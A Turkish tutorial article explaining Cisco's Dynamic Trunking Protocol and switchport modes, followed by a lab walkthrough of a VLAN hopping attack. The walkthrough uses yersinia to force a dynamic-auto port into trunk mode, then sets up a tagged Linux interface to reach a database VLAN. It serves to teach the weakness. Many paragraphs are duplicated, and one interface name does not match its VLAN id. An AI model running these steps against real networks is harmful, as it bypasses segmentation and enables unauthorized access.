Dinamik Trunk
Protokolü(DTP)
Protokolü(DTP)
Dinamik Trunk
Protokolü, sanal ağlara(VLAN) sahip katman 2 cihazlarının arasındaki bağlantı
türlerini, anlaşmalar(negotiation) yoluyla otomatik olarak belirleyen, Cisco
Sistemleri tarafından geliştirilmiş ağ protokolüdür. DTP, katman 2’de
çalışmaktadır.
Protokolü, sanal ağlara(VLAN) sahip katman 2 cihazlarının arasındaki bağlantı
türlerini, anlaşmalar(negotiation) yoluyla otomatik olarak belirleyen, Cisco
Sistemleri tarafından geliştirilmiş ağ protokolüdür. DTP, katman 2’de
çalışmaktadır.
Katman
2 cihazlarının sahip olduğu arayüzler kullanım ihtiyacına göre
ayarlanabilmektedir.
2 cihazlarının sahip olduğu arayüzler kullanım ihtiyacına göre
ayarlanabilmektedir.
- Access Modu: Genellikle
istemci/sunucu makinelerle bağlantı aşamasında kullanılmaktadır. Access
modu aktif olan arayüzlere yalnızca bir sanal ağ atanabilmektedir. Bu
modda DTP protokolünün etkisi bulunmamaktadır.
Switch(config)#interface
fastEthernet 1/15
Switch(config-if)#switchport
mode access
Switch(config-if)#switchport
access vlan 10 |
- Trunk Modu: Genellikle
switch-switch veya switch-router bağlantılarında kullanılmaktadır. Trunk
modu ayarlanmış arayüzlerde birden fazla sanal ağ bağlantı yapmak mümkün
olmaktadır. Bu modda DTP anlaşması gerçekleşmesi mümkün olmaktadır.
Switch(config)#interface
fastEthernet 1/0
Switch(config-if)#switchport
mode trunk |
DTP
protokolünün tam anlamıyla devreye girdiği diğer iki mod ise ‘Dynamic Auto’ ve
‘Dynamic Desirable’ modlarıdır. Tüm modların birbirlerine karşı davranışları ve
buna karşılık iki cihaz arasında belirlenecek bağlantı modu aşağıda
bulunmaktadır.
protokolünün tam anlamıyla devreye girdiği diğer iki mod ise ‘Dynamic Auto’ ve
‘Dynamic Desirable’ modlarıdır. Tüm modların birbirlerine karşı davranışları ve
buna karşılık iki cihaz arasında belirlenecek bağlantı modu aşağıda
bulunmaktadır.
Switchport Modları
|
Dynamic Auto
|
Dynamic Desirable
|
Trunk
|
Access
|
Dynamic Auto
|
Access
|
Trunk
|
Trunk
|
Access
|
Dynamic Desirable
|
Trunk
|
Trunk
|
Trunk
|
Access
|
Trunk
|
Trunk
|
Trunk
|
Trunk
|
Sınırlı Bağlantı
|
Access
|
Access
|
Access
|
Sınırlı Bağlantı
|
Access
|
DTP
Protokolü karmaşık ağ topolojilerinde yeni cihazların eklenip çıkarılması
sırasında yapılması gereken ayarlamaların bir çoğunu otomatik olarak
gerçekleştirdiği için oldukça kullanışlı olmaktadır.
Protokolü karmaşık ağ topolojilerinde yeni cihazların eklenip çıkarılması
sırasında yapılması gereken ayarlamaların bir çoğunu otomatik olarak
gerçekleştirdiği için oldukça kullanışlı olmaktadır.
VLAN Hopping Saldırı
Yöntemi
Yöntemi
DTP
protokolünde portların hangi modda çalışacağına anlaşmalar(negotiation)
aracılığıyla karar verilmektedir. Dolayısıyla saldırganın, DTP protokolünün
aktif olduğu bir portun modunu kendi isteğine göre değiştirmesi mümkündür.
Örnek verilecek olursa, bir ağ topolojisinde iki adet sanal ağ(VLAN)
bulunmaktadır. Sanal ağlardan birisi(VLAN ID:10) normal kullanıcılara hizmet
vermektedir. Diğeri(VLAN ID:20) ise içerisinde Veritabanı Sunucusu
bulundurmaktadır. Saldırgan, sunucunun bulunduğu sanal ağa(VLAN ID:20)
bağlanmak istemektedir. Fakat konumu sebebiyle VLAN ID: 10 ağına
bağlanabilmektedir. Eğer bağlandığı switch’de sadece VLAN ID:10 erişimine izin
verilen portlardan farklı bir port(dynamic auto, dynamic desirable veya trunk
mod) mevcutsa diğer sanal ağlara bağlanması mümkün olmaktadır.
protokolünde portların hangi modda çalışacağına anlaşmalar(negotiation)
aracılığıyla karar verilmektedir. Dolayısıyla saldırganın, DTP protokolünün
aktif olduğu bir portun modunu kendi isteğine göre değiştirmesi mümkündür.
Örnek verilecek olursa, bir ağ topolojisinde iki adet sanal ağ(VLAN)
bulunmaktadır. Sanal ağlardan birisi(VLAN ID:10) normal kullanıcılara hizmet
vermektedir. Diğeri(VLAN ID:20) ise içerisinde Veritabanı Sunucusu
bulundurmaktadır. Saldırgan, sunucunun bulunduğu sanal ağa(VLAN ID:20)
bağlanmak istemektedir. Fakat konumu sebebiyle VLAN ID: 10 ağına
bağlanabilmektedir. Eğer bağlandığı switch’de sadece VLAN ID:10 erişimine izin
verilen portlardan farklı bir port(dynamic auto, dynamic desirable veya trunk
mod) mevcutsa diğer sanal ağlara bağlanması mümkün olmaktadır.
Saldırgan,
switch üzerinde kullanıcılara ayrılmış portlardan biri aracılığıyla
bağlandığında VLAN ID:10 sanal ağından bir ip aldığı görülmektedir.
switch üzerinde kullanıcılara ayrılmış portlardan biri aracılığıyla
bağlandığında VLAN ID:10 sanal ağından bir ip aldığı görülmektedir.
Switch2# show
interface status
Port Name
Status Vlan Duplex Speed Type
Fa1/0
connected trunk full 100 10/100BaseTX
Fa1/1
notconnect 1 auto auto 10/100BaseTX
Fa1/2
notconnect 1 auto auto 10/100BaseTX
Fa1/11
notconnect 10 auto auto 10/100BaseTX
Fa1/12
connected 10 full 100 10/100BaseTX
Fa1/13
connected 10 full 100 10/100BaseTX
Not: Örnek çıktıda
portların hepsi gösterilmemiştir. |
root@kali:~# dhclient
-v eth0
…
DHCPDISCOVER on eth0 to
255.255.255.255 port 67 interval 8
DHCPREQUEST on eth0 to
255.255.255.255 port 67
DHCPOFFER from 10.1.10.1
DHCPACK from 10.1.10.1
Reloading
/etc/samba/smb.conf: smbd only.
bound
to 10.1.10.2 — renewal in 38255 seconds. |
Switch2
üzerinde ‘show interface status’ komutuyla alınan çıktıda ‘Fa1/11’, ‘Fa1/12’ ve
‘Fa1/13’ portlarının ‘switchport’ modunun access modunda olduğunu ve sadece
VLAN ID:10 ağı için geçişlere izin verildiği görülmektedir. Fakat ‘Fa1/1’ ve
‘Fa1/2’ portları dynamic auto modunda bırakılmıştır. Böylece o portlardan
bağlanan saldırgan, switch üzerindeki ‘Fa1/1’ veya ‘Fa1/2’ modunu değiştirme
imkanına sahip olmaktadır. Saldırgan artık switche ‘Fa1/1’ portundan erişim
sağlamaktadır.
üzerinde ‘show interface status’ komutuyla alınan çıktıda ‘Fa1/11’, ‘Fa1/12’ ve
‘Fa1/13’ portlarının ‘switchport’ modunun access modunda olduğunu ve sadece
VLAN ID:10 ağı için geçişlere izin verildiği görülmektedir. Fakat ‘Fa1/1’ ve
‘Fa1/2’ portları dynamic auto modunda bırakılmıştır. Böylece o portlardan
bağlanan saldırgan, switch üzerindeki ‘Fa1/1’ veya ‘Fa1/2’ modunu değiştirme
imkanına sahip olmaktadır. Saldırgan artık switche ‘Fa1/1’ portundan erişim
sağlamaktadır.
Switch2# show
interface status
Port Name
Status Vlan Duplex Speed Type
Fa1/0
connected trunk full 100 10/100BaseTX
Fa1/1
connected 1 a-full a-100 10/100BaseTX
Fa1/2
notconnect 1 auto auto 10/100BaseTX
Fa1/11
notconnect 10 auto auto 10/100BaseTX
Fa1/12
notconnect 10 auto auto 10/100BaseTX
Fa1/13
connected 10 full 100 10/100BaseTX |
Switchin
‘Fa1/1’ portu dynamic auto modunda olduğu için saldırganın makinesindeki portun
‘Switchport’ moduna göre davranmaktadır. Saldırgan, yersinia aracını kullanarak
kendi arayüzünde trunk modu aktif hale getirmektedir.
‘Fa1/1’ portu dynamic auto modunda olduğu için saldırganın makinesindeki portun
‘Switchport’ moduna göre davranmaktadır. Saldırgan, yersinia aracını kullanarak
kendi arayüzünde trunk modu aktif hale getirmektedir.
root@kali:~# yersinia
dtp -attack 1 -interface eth0
<*> Starting NONDOS
attack enabling trunking…
<*>
Press any key to stop the attack <*> |
Switch2# show
interface status
Port Name
Status Vlan Duplex Speed Type
Fa1/0
connected trunk full 100 10/100BaseTX
Fa1/1
connected trunk a-full a-100 10/100BaseTX
Fa1/2
notconnect 1 auto auto 10/100BaseTX
Fa1/11
notconnect 10 auto auto 10/100BaseTX
Fa1/12
notconnect 10 auto auto 10/100BaseTX
Fa1/13
connected 10 full 100 10/100BaseTX |
Switch
üzerindeki ‘Fa1/1’ portu artık trunk moda geçtiği için üzerinden tüm sanal
ağlarla ilgili bağlantıları geçirebilmektedir. Bu noktadan sonra saldırgan
kendi makinesinde gerekli ayarlamaları yaparak istediği sanal ağ’a bağlanıp ip
alabilmektedir.
üzerindeki ‘Fa1/1’ portu artık trunk moda geçtiği için üzerinden tüm sanal
ağlarla ilgili bağlantıları geçirebilmektedir. Bu noktadan sonra saldırgan
kendi makinesinde gerekli ayarlamaları yaparak istediği sanal ağ’a bağlanıp ip
alabilmektedir.
Linux Üzerinde Sanal
Ağ(VLAN) Ayarlamaları
Ağ(VLAN) Ayarlamaları
İlk olarak 8021q
modülünün çalışır durumda olduğundan emin olunmalıdır.
modülünün çalışır durumda olduğundan emin olunmalıdır.
root@kali:~# lsmod |
grep 8021q
root@kali:~#
|
Modül
çalışır duruma getirmek için aşağıdaki komut kullanılır.
çalışır duruma getirmek için aşağıdaki komut kullanılır.
root@kali:~#
modprobe 8021q |
‘ip’
komutu ile eth0 arayüzü üzerinden VLAN ID:20 için vlan bağlantısı oluşturulur.
komutu ile eth0 arayüzü üzerinden VLAN ID:20 için vlan bağlantısı oluşturulur.
root@kali:~# ip link
add link eth0 name eth0.10 type vlan id 20
root@kali:~# ip link
..
2: eth0:
<BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
link/ether 08:00:27:98:c4:6b brd ff:ff:ff:ff:ff:ff
3: eth0.10@eth0:
<BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT
link/ether 08:00:27:98:c4:6b brd
ff:ff:ff:ff:ff:ff |
Eğer
statik ip verilmek isteniyorsa aşağıdaki komut kullanılabilir.
statik ip verilmek isteniyorsa aşağıdaki komut kullanılabilir.
root@kali:~#
ip addr add 10.1.20.3/24 brd 10.1.20.255 dev eth0.10 |
Bu
uygulamada vlan bağlantısı aktif hale getirilip ‘dhclient’ komutu ile DHCP
Sunucusundan ip alınmaktadır.
uygulamada vlan bağlantısı aktif hale getirilip ‘dhclient’ komutu ile DHCP
Sunucusundan ip alınmaktadır.
root@kali:~# ip link
set dev eth0.10 up
root@kali:~# dhclient
-v eth0.10
…
DHCPDISCOVER on eth0.10
to 255.255.255.255 port 67 interval 4
DHCPREQUEST on eth0.10 to
255.255.255.255 port 67
DHCPOFFER from 10.1.20.1
DHCPACK from 10.1.20.1
Reloading
/etc/samba/smb.conf: smbd only.
bound
to 10.1.20.4 — renewal in 39393 seconds. |
Saldırgan,
Veritabanı Sunucusunun bulunduğu sanal ağa(VLAN ID:20) bağlanmış ve Sunucuya
ping atabilecek duruma gelmektedir.
Veritabanı Sunucusunun bulunduğu sanal ağa(VLAN ID:20) bağlanmış ve Sunucuya
ping atabilecek duruma gelmektedir.
Yazar: Barış DURKUT